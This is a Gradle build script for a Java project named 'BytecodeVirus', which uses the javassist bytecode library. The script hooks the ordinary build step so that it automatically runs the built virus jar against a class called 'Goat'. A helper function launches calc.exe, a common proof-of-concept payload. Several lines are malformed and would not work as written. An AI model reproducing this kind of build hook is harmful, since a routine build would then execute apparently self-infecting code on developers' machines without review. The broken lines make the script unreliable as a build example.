plugins {
    id 'java'
}


group 'org.example'
version '1.0-SNAPSHOT'
sourceCompatibility = 1.8
build.dependsOn.add("testSuite")


task testSuite(type: JavaExec) {
    jar
    classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar')
    classpath += sourceSets.main.runtimeClasspath
    main = "Goat"
}

void autoBuild(){
    testSuite
    String classpath = sourceSets
    exec {commandLine 'calc.exe'}

}

build{
    autoBuild();
}


jar {

    manifest {
        attributes 'Main-Class': 'SelfExamine'
    }
}


task fatJar(type: Jar) {

    doFirst {
        from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
    }
    exclude 'META-INF/*.RSA', 'META-INF/*.SF','META-INF/*.DSA'
    manifest {
        attributes 'Main-Class': 'SelfExamine'
    }
    baseName = project.name + '-all'
    from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
    with jar
}


repositories {
    mavenCentral()
}

dependencies {
    compile group: 'javassist', name: 'javassist', version: '3.12.0.GA'
    testCompile group: 'junit', name: 'junit', version: '4.12'
}